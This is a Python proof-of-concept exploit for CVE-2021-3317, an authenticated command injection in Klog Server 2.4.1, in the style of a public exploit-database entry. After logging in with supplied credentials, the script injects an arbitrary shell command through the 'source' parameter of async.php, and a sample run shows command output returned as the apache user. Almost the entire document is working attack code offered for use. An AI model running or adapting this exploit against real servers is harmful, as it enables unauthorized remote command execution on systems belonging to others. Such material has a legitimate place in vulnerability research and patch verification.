Klog Server 2.4.1 - Command Injection (Authenticated)

# Exploit Title: Klog Server 2.4.1 - Command Injection (Authenticated)
# Date: 26.01.2021
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.klogserver.com/
# Version: 2.4.1
# Description: https://docs.unsafe-inline.com/0day/klog-server-authenticated-command-injection
# CVE: 2021-3317


"""
Description:
This script exploits a authenticated command injection vulnerability in the Klog Server <=2.4.1 .
async.php file includes that "source" parameter is executed via shell_exec() function without input validation.

Example:
python3 PoC.py --target 10.10.56.51 --username admin --password admin --command id
[*] Status Code for login request: 302
[+] Authentication was successful!
[*] Exploiting...

uid=48(apache) gid=48(apache) groups=48(apache)

"""

import argparse
import requests
import sys
import urllib3
from argparse import ArgumentParser, Namespace


def main():
    dsc = "Klog Server 2.4.1 - Command Injection (Authenticated)"
    parser: ArgumentParser = argparse.ArgumentParser(description=dsc)
    parser.add_argument("--target", help="IPv4 address of Cockpit server", type=str, required=True)
    parser.add_argument("--username", help="Username", type=str, required=True)
    parser.add_argument("--password", help="Password", type=str, required=True)
    parser.add_argument("--command", help="Command", type=str, required=True)
    args: Namespace = parser.parse_args()
    if args.target:
        target = args.target
        if args.username:
            username = args.username
            if args.password:
                password = args.password
                if args.command:
                    command = args.command

                exploit(target, username, password, command)


def exploit(target, username, password, command):
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    s = requests.Session()
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
         "Accept-Language": "en-US,en;q=0.5",
         "Accept-Encoding": "gzip, deflate",
         "Content-Type": "application/x-www-form-urlencoded",
         "Connection": "close",
         "Upgrade-Insecure-Requests": "1",
         }

    data = {"user" : username, "pswd" : password}

    login = s.post("https://" + target + "/actions/authenticate.php" , data=data, headers=headers, allow_redirects=False, verify=False)
    print("[*] Status Code for login request: " + str(login.status_code))

    if login.status_code == 302:
        check = s.get("https://" + target + "/index.php", allow_redirects=False, verify=False)
        if check.status_code == 200:
            print("[+] Authentication was successful!")
        else:
            print("[-] Authentication was unsuccessful!")
            sys.exit(1)
    else:
        print("Something went wrong!")
        sys.exit(1)

    print("[*] Exploiting...\n")

    executeCommand = s.get("https://" + target + "/actions/async.php?action=stream&source=;"+ command +";", allow_redirects=False, verify=False)
    print(executeCommand.text)
    sys.exit(0)

if __name__ == '__main__':
    main()